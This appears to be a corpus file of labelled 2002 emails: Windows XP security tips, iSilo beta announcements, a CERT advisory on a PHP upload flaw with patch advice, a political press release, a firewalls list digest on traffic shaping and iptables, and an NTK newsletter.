which can be read by anyone who's listening on the wire. 7. Click the Messages tab. Enter a Welcome message, an Exit message, and a message users will see if there are no available connections. 8. Click on the Home Directory tab. Make sure there is a checkmark in the Read and Log Visits checkboxes. REMOVE the checkmark in the Write checkbox. Note the location in the Local Path text box. Navigate to that path in the Windows Explorer. 9. Right click on the FTPROOT folder and click Properties. 10. Click on the Security tab. Make sure that SYSTEM has Full Control. Assign the IUSR_ account READ access only. Remove all other permissions for the IUSR account. Make sure you give Adminstrators Full Control tool. This allows you, the administrator on the FTP Server computer, to add, remove and change files in the FTPROOT folder. Stop and restart the FTP Server. Now your FTP server is secure and Internet bad guys won't be able to use it to distribute porno and bootlegged software. ![](http://www.winxpnews.com/graphics/winxpnews_logo_50.jpg) WINXP SECURITY: UPDATES & PATCHES **Cumulative Patch for Windows Media Player** I think it was a couple months ago when I wrote about some serious problems with the Windows Media Player (WMP). At that time you could download a ""cumulative"" patch that would update the Media Player with the latest security fixes. Well, it's time to download another ""cumulative"" patch! A couple other problems were found in WMP that could cause some problems. To read more about the problem head on over to: http://www.winxpnews.com/rd/rd.cfm?id=020709SE-WMP_Patch You'll also find the download locations for Windows Media Player versions 6.4, 7.1 and 8.0 (XP) on that page. **Cumulative Patches for Excel and Word for Windows** If you run Microsoft Word or Excel, versions 2000 or 2002 (XP), then you need to head on over to the Microsoft site to download some security fixes. These fixes handle security glitches that could get you in trouble if you don't take care of them! Head on over to Microsoft's site where you can find individual fixes for each program. You only need download the fix that applies to your computer: http://www.winxpnews.com/rd/rd.cfm?id=020709SE-Word_Excel_Patch ![](http://www.winxpnews.com/graphics/winxpnews_logo_50.jpg) UPGRADING & COMPATIBILITY ISSUES **A Computer May Hang During a Heavy Load with an Ericsson HIS Modem** If your computer has a Ericsson HIS modem, you might experience a dreaded blue screen and see the message IRQL_NOT_LESS_OR_EQUAL or DRIVER_CORRUPTED_EXPOOL. The problem is that you're downloading too much and your poor modem can't keep up! Microsoft recognizes that this isn't a problem with the modem, but with the modem driver. To download a fix visit Microsoft's site. After getting the fix, you can download as much as you like without worrying about blue screens! http://www.winxpnews.com/rd/rd.cfm?id=020709UP-HIS_Modem **Knowledge Base Search Center - If it is Not Broke, Do Not Break it!** It wasn't so long ago when you could search the Microsoft Knowledge Base for articles that came up in the last 3 days, 7 days, 14 days, 30 days, 90 days and 6 months. It was great! But Microsoft decided to ""fix"" the Knowledge Base search page, and now it really sucks! It's hard to find things that used to come up easily, the site is often down, and searching based on age of articles just doesn't work anymore. Try this: go to: http://support.microsoft.com/default.aspx?ln=EN-USz=kbinfo& ",0,1 iSilo ,zzz@example.com,"Thu, 15 Aug 2002 14:22:26 -0500","iSilo announcements (August 15, 2002)","---------------------------------------------------------------------- 1. iSilo(TM) 3.2 for Palm OS and Pocket PC enters beta1 2. iSilo(TM) 3.2 for Windows enters beta1 3. iSiloX 3.2 for Windows and Mac OS enters beta1 4. iSiloXC 3.2 for Windows, Linux, FreeBSD, Mac OS X, and Solaris enter beta1 ---------------------------------------------------------------------- ====================================================================== 1. iSilo(TM) 3.2 for Palm OS and Pocket PC enters beta1 ---------------------------------------------------------------------- iSilo(TM) 3.2b1 adds the following new features to iSilo 3.15: - A System Information dialog, accessible from either the document list view or while viewing a document through the Tools menu. The dialog displays the user name (e.g., owner name) and the associated user ID of the device. For Palm OS, the dialog also displays the free and total amount of dynamic and storage memory. - Support for iSiloX/iSiloXC generated password protected documents. The password protection is embedded into the document during conversion and can not be modified nor removed from the converted document. - Support for iSiloX/iSiloXC generated registration code protected documents. The registration code protection is embedded into the document during conversion. - Support for iSiloX/iSiloXC generated documents that include an expiration date. The expiration date is embedded into the document during conversion. - Support for displaying Title, Author, and Publisher information messages through the Document Information dialog accessible through the Edit menu while viewing a document. Please note that this is a beta version of the software, and as such is intended for testing purposes to help eliminate problems and issues before the release. Please report any problems or issues you encounter by sending an email to email@iSilo.com. When reporting problems, please include all potentially relevant details, including the exact steps used to reproduce the problem, OS version, and hardware configuration. To download iSilo(TM) 3.2b1 for Palm OS(R), please go to this URL: To download iSilo 3.2b1 for Pocket PC, please go to this URL: ====================================================================== 2. iSilo(TM) 3.2 for Windows enters beta1 ---------------------------------------------------------------------- iSilo(TM) 3.2 will be the first version of iSilo for Windows and has the requirements shown here. Basic requirements: - Pentium or comparable processor - Windows 95 with Internet Explorer 4.0.1 or later, Windows 98, Windows Millennium, Windows NT 4.0 with Service Pack 6, Windows 2000, or Windows XP - 16MB of RAM for Windowsr 95 and Windows 98 (32MB recommended), 32MB of RAM for Windows Millennium and Windows NT 4.0, 64MB of RAM for Windows 2000 and Windows XP - 5MB of available hard-disk space for installation Additional functionality specific requirements: - Additional memory required for document storage. - iSiloX required for creating documents utilizing maximum document presentation capabilities. Please note that this is a beta version of the software, and as such is intended for testing purposes to help eliminate problems and issues before the release. Please report any problems or issues you encounter by sending an email to email@iSilo.com. When reporting problems, please include all potentially relevant details, including the exact steps used to reproduce the problem, OS version, and hardware configuration. To download iSilo 3.2b1 for Windows, please go to this URL: ====================================================================== 3. iSiloX 3.2 for Windows and Mac OS enters beta1 ---------------------------------------------------------------------- iSiloX 3.2b1 adds the following features to iSiloX 3.15: - In the Security properties, added support for protecting a document with any or all of a password, registrationn code, and expiration date. - Added a Messages property page for specifying title, author, publisher, password, registration code, and expiration date messages for the document. - Added cookie support and a Cookies property page for managing cookies. Please note that this is a beta version of the software, and as such is intended for testing purposes to help eliminate problems and issues before the release. Please report any problems or issues you encounter by sending an email to email@iSilo.com. When reporting problems, please include all potentially relevant details, including the exact steps used to reproduce the problem, OS version, and hardware configuration. To download iSiloX 3.2b1 for Windows, please go to this URL: To download iSiloX 3.2b1 for Mac OS, please go to this URL: ====================================================================== 4. iSiloXC 3.2 for Windows, Linux, FreeBSD, Mac OS X, and Solaris enter beta1 ---------------------------------------------------------------------- iSiloX 3.2b1 adds the following features to iSiloX 3.15: - Added , , and container elements under the element for protecting a document with any or all of a password, registration code, and expiration date. See .ixl file format for more information. - Added element for specifying title, author, publisher, password, registration code, and expiration date messages for the document. See .ixl file format for more information. - Added cookie support and the element for managing cookies. See .ixl file format for more information. Please note that this is a beta version of the software, and as such is intended for testing purposes to help eliminate problems and issues before the release. Please report any problems or issues you encounter by sending an email to email@iSilo.com. When reporting problems, please include all potentially relevant details, including the exact steps used to reproduce the problem, OS version, and hardware configuration. To download iSiloXC 3.2b1 for Windows, please go to this URL: To download iSiloXC 3.2b1 for Linux, please go to this URL: To download iSiloXC 3.2b1 for FreeBSD, please go to this URL: To download iSiloXC 3.2b1 for Mac OS X, please go to this URL: To download iSiloXC 3.2b1 for Solaris, please go to this URL: ---------------------------------------------------------------------- You have received this message because you subscribed to the iSilo(TM) mailing list. If you would like to be removed from this list, please send an email with the subject ""unsubscribe"" to: . Please note that this email address only handles subscriptions and unsubscriptions of the mailing list. Any other messages sent to this email address are automatically deleted. ---------------------------------------------------------------------- iSilo(TM) http://www.iSilo.com email@iSilo.com",0,1 CERT Advisory ,cert-advisory@cert.org,"Mon, 22 Jul 2002 19:11:24 -0400 (EDT)",CERT Advisory CA-2002-21 Vulnerability in PHP,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-21 Vulnerability in PHP Original release date: July 22, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running PHP versions 4.2.0 or 4.2.1 Overview A vulnerability has been discovered in PHP. This vulnerability could be used by a remote attacker to execute arbitrary code or crash PHP and/or the web server. I. Description PHP is a popular scripting language in widespread use. For more information about PHP, see http://www.php.net/manual/en/faq.general.php The vulnerability occurs in the portion of PHP code responsible for handling file uploads, specifically multipart/form-data. By sending a specially crafted POST request to the web server, an attacker can corrupt the internal data structures used by PHP. Specifically, an intruder can cause an improperly initialized memory structure to be freed. In most cases, an intruder can use this flaw to crash PHP or the web server. Under some circumstances, an intruder may be able to take advantage of this flaw to execute arbitrary code with the privileges of the web server. You may be aware that freeing memory at inappropriate times in some implementations of malloc and free does not usually result in the execution of arbitrary code. However, because PHP utilizes its own memory management system, the implementation of malloc and free is irrelevant to this problem. Stefan Esser of e-matters GmbH has indicated that intruders cannot execute code on x86 systems. However, we encourage system administrators to apply patches on x86 systems as well to guard against denial-of-service attacks and as-yet-unknown attack techniques that may permit the execution of code on x86 architectures. This vulnerability was discovered by e-matters GmbH and is described in detail in their advisory. The PHP Group has also issued an advisory. A list of vendors contacted by the CERT/CC and their status regarding this vulnerability is available in VU#929115. Although this vulnerability only affects PHP 4.2.0 and 4.2.1, e-matters GmbH has previously identified vulnerabilities in older versions of PHP. If you are running older versions of PHP, we encourage you to review http://security.e-matters.de/advisories/012002.html II. Impact A remote attacker can execute arbitrary code on a vulnerable system. An attacker may not be able to execute code on x86 architectures due to the way the stack is structured. However, an attacker can leverage this vulnerability to crash PHP and/or the web server running on an x86 architecture. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please contact your vendor directly. Upgrade to the latest version of PHP If a patch is not available from your vendor, upgrade to version 4.2.2. Deny POST requests Until patches or an update can be applied, you may wish to deny POST requests. The following workaround is taken from the PHP Security Advisory: If the PHP applications on an affected web server do not rely on HTTP POST input from user agents, it is often possible to deny POST requests on the web server. In the Apache web server, for example, this is possible with the following code included in the main configuration file or a top-level .htaccess file: Order deny,allow Deny from all Note that an existing configuration and/or .htaccess file may have parameters contradicting the example given above. Disable vulnerable service Until you can upgrade or apply patches, you may wish to disable PHP. As a best practice, the CERT/CC recommends disabling all services that are not explicitly required. Before deciding to disable PHP, carefully consider your service requirements. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple Computer Inc. Mac OS X and Mac OS X Server are shipping with PHP version 4.1.2 which does not contain the vulnerability described in this alert. Caldera Caldera OpenLinux does not provide either vulnerable version (4.2.0, 4.2.1) of PHP in their products. Therefore, Caldera products are not vulnerable to this issue. Compaq Computer Corporation SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of Hewlett-Packard Company and Hewlett-Packard Company HP Services Software Security Response Team x-ref: SSRT2300 php post requests At the time of writing this document, Compaq is currently investigating the potential impact to Compaq's released Operating System software products. As further information becomes available Compaq will provide notice of the availability of any necessary patches through standard security bulletin announcements and be available from your normal HP Services supportchannel. Cray Inc. Cray, Inc. does not supply PHP on any of its systems. Debian Debian GNU/Linux stable aka 3.0 is not vulnerable. Debian GNU/Linux testing is not vulnerable. Debian GNU/Linux unstable is vulnerable. The problem effects PHP versions 4.2.0 and 4.2.1. Woody ships an older version of PHP (4.1.2), that doesn't contain the vulnerable function. FreeBSD FreeBSD does not include any version of PHP by default, and so is not vulnerable; however, the FreeBSD Ports Collection does contain the PHP4 package. Updates to the PHP4 package are in progress and a corrected package will be available in the near future. Guardian Digital Guardian Digital has not shipped PHP 4.2.x in any versions of EnGarde, therefore we are not believed to be vulnerable at this time. Hewlett-Packard Company SOURCE: Hewlett-Packard Company Security Response Team At the time of writing this document, Hewlett Packard is currently investigating the potential impact to HP's released Operating System software products. As further information becomes available HP will provide notice of the availability of any necessary patches through standard security bulletin announcements and be available from your normal HP Services support channel. IBM IBM is not vulnerable to the above vulnerabilities in PHP. We do supply the PHP packages for AIX through the AIX Toolbox for Linux Applications. However, these packages are at 4.0.6 and also incorporate the security patch from 2/27/2002. Mandrakesoft Mandrake Linux does not ship with PHP version 4.2.x and as such is not vulnerable. The Mandrake Linux cooker does currently contain PHP 4.2.1 and will be updated shortly, but cooker should not be used in a production environment and no advisory will be issued. Microsoft Corporation Microsoft products are not affected by the issues detailed in this advisory. Network Appliance No Netapp products are vulnerable to this. Red Hat Inc. None of our commercial releases ship with vulnerable versions of PHP (4.2.0, 4.2.1). SuSE Inc. SuSE Linux is not vulnerable to this problem, as we do not ship PHP 4.2.x. _________________________________________________________________ The CERT/CC acknowledges e-matters GmbH for discovering and reporting this vulnerability. _________________________________________________________________ Author: Ian A. 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Revision History July 22, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPTyOVqCVPMXQI2HJAQGK6QQAp1rR7K18PNxpQZvqKPYWxyrtpiT8mmKN UuyERmOoX+5MAwH0hbAWCvVcyLH0gKGbTpBkRgToT8IEHZojwHCzqOaMM9kni/FG QEVeznLfBX4GIgZGPu0XWlph3ZqaayWln57eGueYZ26zBuriIUu2cUCmyYGQkqlI tuZdnDqUmR0= =+829 -----END PGP SIGNATURE-----",0,1 Libertarian Party Announcements ,announce@hq.lp.org,"Thu, 25 Jul 2002 12:02:37 -0400 (EDT)",LP RELEASE: Outrageous military spending,"-----BEGIN PGP SIGNED MESSAGE----- =============================== NEWS FROM THE LIBERTARIAN PARTY 2600 Virginia Avenue, NW, Suite 100 Washington DC 20037 World Wide Web: http://www.LP.org =============================== For release: July 25, 2002 =============================== For additional information: George Getz, Press Secretary Phone: (202) 333-0008 Ext. 222 E-Mail: pressreleases@hq.LP.org =============================== Thousands spent on strippers, golf memberships shows Pentagon spending is out of control, Libertarians say WASHINGTON, DC -- Quiz question: Which of the following items have been charged to the taxpayers recently by military personnel wielding government-issued credit cards? (a) $38,000 for lap dancing at strip clubs near military bases. (b) $3,400 for a Sumo wrestling suit and $9,800 for Halloween costumes. (c) $7,373 for closing costs on a home and $16,000 for a corporate golf membership. (d) $4,600 for white beach sand and $19,000 worth of decorative ""river rock"" at a military base in the Arabian desert. (e) all of the above. ""Incredibly, the answer is 'all of the above,' said Steve Dasbach, Libertarian Party executive director. ""Thanks to the federal government's policy of doling out credit cards with no questions asked, the military has launched a raid on your wallet."" The shocking revelations are contained in a General Accounting Office audit released last week that uncovered $101 million in ""seemingly unneeded expenditures"" made by the Air Force and Army in 2000 and 2001. The purchases were made possible by the federal government's lax credit card policy: At least 1.4 million Defense Department employees carry credit cards, and last year they used them to splurge on $6.1 billion in goods and services, the audit found. In one case, a group of 200 soldiers used their military IDs and government-issued travel cards to get cash at adult-entertainment bars, then spent the money there. The clubs charged a 10 percent fee to supply the soldiers with cash -- then billed the full amount to their travel cards as a restaurant charge, the GAO found. ""Are these warriors really fighting terrorism while frolicking in a strip club, or defending our country while wearing a Sumo wrestling suit?"" asked Dasbach. ""Americans who support a bigger defense budget, take note: The Pentagon frequently behaves like any other bloated, reckless government agency. It promises your money will be spent on the worthiest of causes, then squanders it on things you could never even imagine."" Other spending uncovered by the audit included $45,000 for luxury cruises, $1,800 for executive pillows, and $24,000 for a sofa and armchair at a military installation in the Middle East, Dasbach noted. Some military employees actually defended the purchases, the audit noted, by saying that recreational items such as golf memberships can be ""a useful tool for building good relations with a host country"" such as Saudi Arabia or the United Arab Emirates. Not surprisingly, Dasbach said, the audit found ""little evidence of documented disciplinary action"" against those who misused the cards, so taxpayers may end up paying the tab. ""It's time to impose a little military discipline on these deadbeat Defense Department workers, and force them to personally reimburse taxpayers for every penny of improper spending,"" he said. ""Then cut the Pentagon's massive $379 billion budget to help guard against such wasteful spending in the future. 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Jahchan"" Subject: Re: QOS Date: Thu, 25 Jul 2002 12:11:40 +0300 > So, I'm forced to conclude that the PacketShaper either sucks in a major > way, or that your explanation/the explanation that you have been given of > it is wrong. (Sorry.) You are wrong on both counts. Explanation is valid for symmetrical TCP, for others see explanations below. > Yes, all packets in an established TCP connection have the ACK flag set. > So all packets except SYNs are candidates for delay when traffic limits > are exceeded? Whoops. You should change that to: ... are always candidates for predictive or preventive delay. ACKs are delayed (per flow) in such a way that WAN-bound traffic reaching the edge router's Ethernet interface does not exceed WAN link speed (NO ROUTER QUEUES!). It does not wait for the link to be at or near saturation to act -- that is why, unlike queueing, it is predictive and not reactive. It slows down the rate of transmission of sending hosts (on a per-flow basis) to accommodate WAN link speed limit and current network utilization, rather than fill up queues at LAN speeds and empty them at WAN speeds, eventually dropping the excess once the queue(s) fill up, informing hosts to slow down their rate of transmission once queues are beyond a fixed threshold (90%?). Rate control works equally well for outbound and inbound traffic. Ever heard of an effective queueing technology for inbound traffic? Queueing packets after they have crossed a congested link does not make much sense, does it? Re: IPsec/GRE or other encapsulated traffic It obviously cannot dissect IPsec/GRE or other encapsulated traffic: it sees the tunnel as one connection if the tunneling device is before the PS on the LAN side (VPN gateway and router are two separate devices, PS between them). If the router does the tunneling, then the PS sees clear traffic. Typically, in an organization the first scenario would be the case at headquarters and the second at branch offices. The PS at the branch sees traffic inside the tunnel whereas the unit at HQ sees all traffic as one tunnel which allows full management of both tunneled and clear traffic at both ends. UDP and asymmetrical TCP (where the PS and router only see the outgoing packet, return traffic coming back through a satellite downlink to a station on the LAN) are handled differently. For asymmetrical TCP, it will time the release of packets to the receiving device, thereby indirectly timing the release of acknowledgements by the receiving host. This informs the sender's TCP/IP stack that it should slow the release of packets because limited bandwidth is available. For UDP, it utilizes flow-based derivative random drop. It selectively drops only one packet at a time from flows that are predicted to cause congestion, which prevents heavy retransmissions and application timeouts. ICMP packets exceeding policy limits are dropped. >_Maybe_ you can do a special case for TCP and try to offload some of the queueing on > the endpoints, but I really don't see the real gain in that. The real gain is manageability and control. A LAN host only knows about the state of its own connections and is oblivious to WAN conditions until its TCP/IP stack learns (when router queues are nearly full) that the WAN is congested. A PS will predict and inform the LAN hosts' TCP/IP stacks of the ""speed limit to obey"" for every connection (based on policies and network conditions), avoiding congestion. Control for asymmetrical TCP and UDP may not be as ""tight"" as for symmetrical TCP, but it does work. Queueing is akin to deploying cops only when traffic jams occur, vs. rate control where cops are permanently deployed throughout town, communicating with each other and with a central control point, predicting upcoming congestion and regulating traffic, ensuring a smooth flow of traffic. If there is potential for congestion, it will take a driver a hell of lot longer to cross town with first approach than it will with the second. Do you agree? ----- Original Message ----- From: ""Mikael Olsson"" To: ""George J. Jahchan"" Cc: ""Firewalls List"" Sent: Wednesday, July 24, 2002 4:50 pm Subject: Re: QOS ""George J. Jahchan"" wrote: > > The whole purpose of the device is to pro-actively prevent WAN congestion -- > it sits between client and server (client inside/server outside or client > outside/server inside -- it does not make any difference) and pro-actively > adjusts the TCP window size (by delaying the acknowledgement) to get the > sending host to honor the speed limit for that individual connection > (calculated in real-time based on user-defined policies and current network > conditions). Umm, don't get me wrong here, but I think you've been fed a less-than- accurate sales pitch. Let's ponder this for a minute. The device works by delaying ACKs... that is: packets with the ACK flag set, right? ... [letting this sink in for a while] ... Yes, all packets in an established TCP connection have the ACK flag set. So all packets except SYNs are candidates for delay when traffic limits are exceeded? Whoops. Okay, let's assume for a second that the packets aren't actually delayed, but that the ACK sequence numbers or TCP window size fields are re-written (dicey). All you've accomplished is move the queueing (delaying) from the traffic shaper to the endpoints. You still get L7-to-L7 delays. Big deal if it happens on the wire or in the stack. Also, convincing endpoints to do delays probably results in less-than-perfect shaping since stack retransmit timings suddenly affect the actual bandwidth available rather than having the shaper itself do it; the shaper knows exactly when there is bandwidth available. But this doesn't even begin to touch on other protocols like UDP or ICMP. Or, for that matter, IPsec/GRE/whatever tunneled traffic. Neither of them have sequence numbers or window sizes that you can manipulate. So, I'm forced to conclude that the PacketShaper either sucks in a major way, or that your explanation/the explanation that you have been given of it is wrong. (Sorry.) What I think happens is that the delay is <=2msec as long as traffic limits aren't exceeded. This is reasonable. BUT when traffic exceeds the limits, things will begin to be queued. Now, with a well-behaved TCP stack, this _will_ mean that it will fall back to lower transmission rates; this is how TCP was designed, so that part isn't all wrong. And, again, this kind of shaping isn't rocket science. That is not to say that there are shapers out there that are just being plain dumb (always queueing and the selecting what gets transmitted out of the queue), but, well, I just can't see that you can get any smarter than queueing when limits are actually exceeded. _Maybe_ you can do a special case for TCP and try to offload some of the queueing on the endpoints, but I really don't see the real gain in that. Respectfully, /Mikael Olsson -- Mikael Olsson, Clavister AB Storgatan 12, Box 393, SE-891 28 RNSKLDSVIK, Sweden Phone: +46 (0)660 29 92 00 Mobile: +46 (0)70 26 222 05 Fax: +46 (0)660 122 50 WWW: http://www.clavister.com ""It's July. I'm on vacation. Can't you tell? :)"" -- Firewalls mailing list - [ firewalls@isc.org ] To unsubscribe: http://www.isc.org/services/public/lists/firewalls.html ------------------------------ From: ""Hiemstra, Brenno"" Subject: FW: disable some sites Date: Thu, 25 Jul 2002 13:44:18 +0200 The list addy changed ofcourse :o) > -----Original Message----- > From: Hiemstra, Brenno > Sent: donderdag 25 juli 2002 12:27 > To: 'Michael Zhao'; Hiemstra, Brenno > Cc: firewalls@lists.gnac.net > Subject: RE: disable some sites > > Michael, > > If I was in your shoes I would first investigate if there > is a security policy in your organisation. If you dont know > what I mean by a security policy I would advice you to > start reading about it. A search on google would be of a > big help for you. > > If there is a security policy I would read it and investigate > what is tells about how employees are able to use their > workstations for performing their function. In a security > policy there should be things what employees are allowed > to do on the network / internet and what not. > > If there isnt a security policy I would advice you to implement > one in your company. Because without one you cant punish > employees by violating the policy and if there is a court case > you dont have any rock solid thing to smack around with. > > Without a policy you are just implementing solutions to prevent > employees in doing things that, im my opinion, they arent allowed > to do on their workstations anyway. I dont like the idea that > employees play games, use kazaa, ICQ, MSN, etc etc in stead > of working what we pay them to do. This is why a security policy > is important because then you can say to employees that they > violated it and that there are consequences for that (deny internet > access, etc etc). > > Owkee... now that this is out of the way time to proceed about > the proxy thingie. > > A proxy dont have to be the default gateway of your network to > use it. It is a function in Internet Explorer or whatever browser you > use in your network. > > If you ask me Checkpoint Firewalls are just good in using for what > their real purpose is and that is firewalling a network. I dont like the > idea that my firewall is also CVS http thingie because I dont think > a firewall is its purpose to do that. Proxies are a much better solutions > for that and they are also developed for that purpose. > > Depending on your network setup and the OS and Proxy brand of your > current proxy you have several solutions which was already provided > by people on this list. My favorite proxy is Squid and there are probably > a lot of http blacklist programs that work with Squid to block websites > and stuff. > > I still think you should first deny direct internet traffic from > workstations. > and only allow traffic to the internet from servers that are allowed to do > so. You should think about proxies, email servers, etc etc. This should > also prevent people from playing games, especially those Quake kinda > games because those use ports that arent necessary for normal > webbrowsing. Games running over port 80 and not http related are blocked > by the proxy if that proxy is a true Layer 7 application layer proxy. > These > kinda proxies can view in the TCP/IP packet and see if this is legitimate > http traffic or that someone tries to tunnel something over port 80. > > Anyway... again food for some thoughts, > > Regards, > > > > Brenno > > > -----Original Message----- > From: Michael Zhao [SMTP:mzhao@everlastingsystems.com] > Sent: woensdag 24 juli 2002 2:38 > To: Hiemstra, Brenno > Cc: firewalls@lists.gnac.net > Subject: Re: disable some sites > > Thanks your reply. > > I built up my network three years ago . I have proxy which we only use > cache to accelerate our internet accessing , it is not a gateway . It is > too difficult to change the topology , many thing need to be changed. > > Did you have another idea to help me? Someone suggest me to buy the > websence , but I dont have the budget right now. > > Thanks a lot > > Michael > > Hiemstra, Brenno wrote: > > >Michael, > > > >The first thing is to build a security policy that > >states what people are allowed to do and what > >not. Everyone needs to accept this policy and > >if they violate it you can apply rules that you state > >in your security policy. > > > >If I had the option for your network setup I would > >install a proxy server and demand every client > >to connect to the proxy if they want to use the > >internet. > > > >The proxy will only allow http, ftp, and other ""approved"" > >services to connect to the internet. And you can let > >them check to some database which websites are > >allowed and deny access to sites that aren't allowed > > > >Your company firewall will only allow the proxy to connect > >to the internet. Clients are denied. > > > >This way the clients cant connect directly to the internet > >game servers and on the proxy you can deny clients > >to connect to the game servers. > > > >I hope this is an option for you. > > > >Regards, > > > > > >Brenno > > > >>-----Original Message----- > >>From: Michael Zhao [SMTP:mzhao@everlastingsystems.com] > >>Sent: dinsdag 23 juli 2002 14:10 > >>To: firewalls@lists.gnac.net > >>Subject: disable some sites > >> > >>Hi , all > >> > >>I choose checkpoint fw-1 as my firewall . I found many company users > >>play internet games like CS, ourgame . I find users download their > >>clients software and install on their local workstation , after run it > >>, the programe can connect to game server automatically . > >> > >>Usally , there are many sites of every internet game server. I.E. I want > > >>disable accessing the game servers like xxx.ourgame.com from my internal > > >>net , how can I do that except find all of their IP address , because it > > >>is so complecat to do . Who can tell me . > >> > >>Regards, > >>Michael > >> > >>-- > >>Firewalls mailing list - [ firewalls@isc.org ] > >>To unsubscribe: http://www.isc.org/services/public/lists/firewalls.html > >> > ------------------------------ Date: Thu, 25 Jul 2002 15:08:21 -0600 From: Jerry Lynde Subject: DNAT with iptables question Howdy folks, I've been scouring the online docs for solid info on how to accomplish DNAT with iptables. Essentially, I have converted the ipmasqadm lines of the form... ipmasqadm portfw -a -P tcp -L $WEB_OUT http -R $WEB_IN http to iptables lines of the form... $IPTABLES -A PREROUTING -t nat -p tcp -d $WEB_OUT --dport 80 -j DNAT --to $WEB_IN:80 with the accompanying lines... $IPTABLES -A FORWARD -i $INTIF -o $EXTIF -m state --state ESTABLISHED,RELATED -j ACCEPT $IPTABLES -A FORWARD -i $EXTIF -o $INTIF -m state --state ESTABLISHED,RELATED -j ACCEPT $IPTABLES -A FORWARD -i $EXTIF -o $INTIF -p tcp -j ACCEPT The last two lines seem functionally sorta redundant, but I threw em in in an effort to make this work. So far, I am unable to show that it's working correctly... I even tried logging all packets... $IPTABLES -A FORWARD -i $INTIF -p tcp -j LOG --log-level info $IPTABLES -A FORWARD -i $EXTIF -p tcp -j LOG --log-level info But nothing show up in /var/log/messages or anywhere else for that matter. This is on a Redhat 7.3 box. Any help, clues, flames, RT(his particular)FM, etc are appreciated. I read the list, so please don't reply directly in addition to the list resposne. Thanks, Jer ------------------------------ From: ""Reckhard, Tobias"" Subject: RE: DNAT with iptables question Date: Fri, 26 Jul 2002 08:32:37 +0200 > $IPTABLES -A PREROUTING -t nat -p tcp -d $WEB_OUT --dport 80 > -j DNAT --to > $WEB_IN:80 > > with the accompanying lines... > > > $IPTABLES -A FORWARD -i $INTIF -o $EXTIF -m state --state > ESTABLISHED,RELATED -j ACCEPT > $IPTABLES -A FORWARD -i $EXTIF -o $INTIF -m state --state > ESTABLISHED,RELATED -j ACCEPT > $IPTABLES -A FORWARD -i $EXTIF -o $INTIF -p tcp -j ACCEPT > > The last two lines seem functionally sorta redundant, but I > threw em in in > an effort to make this work. You're missing the NEW state. The initial SYN packet will not match with either of the first two rules. It should match the third if it's inbound, though. > So far, I am unable to show that it's working correctly... I > even tried > logging all packets... > > $IPTABLES -A FORWARD -i $INTIF -p tcp -j LOG --log-level info > $IPTABLES -A FORWARD -i $EXTIF -p tcp -j LOG --log-level info > > But nothing show up in /var/log/messages or anywhere else for > that matter. You need to insert those logging rules above any ACCEPT, REJECT or DENY rules for them to be of any use. Are you sure the packets are hitting the box at all? Try moving the log rules to the top of the FORWARD chain, introduce logging rules to the PREROUTING, POSTROUTING, INPUT and OUTPUT chains, and/or use tcpdump as well to see where the packets are travelling. Cheers Tobias ------------------------------ End of firewalls Digest V1 #33 ******************************",0,1 """Danny O'Brien"" ",NTK now ,"Fri, 16 Aug 2002 09:24:14 -0700",MiniNTK 2002-08-16,"__ __ _2002-08-16 _ _____ _ __ | \/ (_)_ __ (_) \ | |_ _| |/ / o Join! mail an empty message to | |\/| | | '_ \| | \| | | | | ' / o ntknow-subscribe@lists.ntk.net | | | | | | | | | |\ | | | | . \ o Website (+ archive) lives at: |_| |_|_|_| |_|_|_| \_| |_| |_|\_\ o http://www.ntk.net/ >> MINI NEWS << time for a snooze There comes a time in every August when news services should just shut the hell up, because the weather's too hot or too underwater, and the world grows so dull and hazy that even the overexcitable hardcore at LinuxWorld wander around like it's Undead Expo 2002, and the Weiss-baked Macintoxins can barely lift their wallets for MacOS X.2, and Sun can't be bothered to do anything but run s/RedHat/Sun Linux/g on a free distribution disk, and everyone else is on holiday, or getting ready to be on holiday, or being told that perhaps they should take a holiday RIGHT NOW, and all we can do is look at this awful, awful EUCD legislation and stare out the window until dawn. Yeah, it's our annual no news edition. We moved to a faster server. Do take the rest of the weekend off in celebration. Or, alternatively, build up a head of overexcitement for the public appearance of THOMAS DOLBY - the ""Hyperactive"" chart artist and Beatnik audio plug-in advocate who, even as you read this, appears to be hosting a 350 Euro-per-head seminar on COMPOSING POLYPHONIC RING TONES at Helsinki's Radisson Royal Hotel in Finland. Lucky delegates will learn about ""using real-time MIDI controllers for tweaked effects"", ""techniques for making little speakers sound huge"" and - perhaps most distressingly - ""picking the right instrument and register for best audibility"". The cacophonous cavalcade comes to London's Soho House on Tue and Wed next week if you'd like to check it out for yourself - or perhaps hold a street protest on behalf of music lovers worldwide. http://www.headspace.com/seminar2002.htm - So they're better than monophonic ringtones. What isn't? >> ANTI-NEWS << berating the obvious because there are still a few PUERILE GOOGLE MISSPELLINGS that NTK doesn't come top of the search results for - yet: http://www.google.com/search?q=partnershit&start=10 , ""anals of history"", ""blackpoo"", ""farternity"", ""proffesional"" - the latter particularly in conjunction with ""proofreading"": http://www.google.com/search?q=proffesional+proofreading ... ""Subie"" called ""ya ,jhg hjg yjg"" by unashamedly Glaswegian DAILY RECORD: http://www.ntk.net/2002/08/16/dohsub.gif ... looks like his official title now becomes ""President Buh"": http://www.ntk.net/2002/08/16/dohbuh.gif ... frickin' MAC users buy anything: http://www.ntk.net/2002/08/09/dohsx.gif ... maybe not the best month for this branch of the W3C: http://lists.w3.org/Archives/Public/www-forms-editor/2002Mar/ ... >> EVENT QUEUE << goto's considered non-harmful Boasting technical seminars, interplay of technological ideas and, of course, beer, this year's LINUXBIERWANDERUNG (from Sat 2002-08-24, Doolin, Co. Clare, Ireland, for a ""small voluntary donation"" per hiker) might just be the only walking holiday you ever persuade your company to pay for. Continuing the outdoor theme, somewhat shorter notice for this Sunday's GREATER LONDON LINUX USER GROUP BLETCHLEY PARK PICNIC (around 12noon, Sun 2002-08-18, Bletchley, near Milton Keynes, UKP6 admission fee). And for anyone who can't make the whole week in Ireland, there's some consolation in the form of LONDON PERLMONGERS PRESENT: DAMIEN 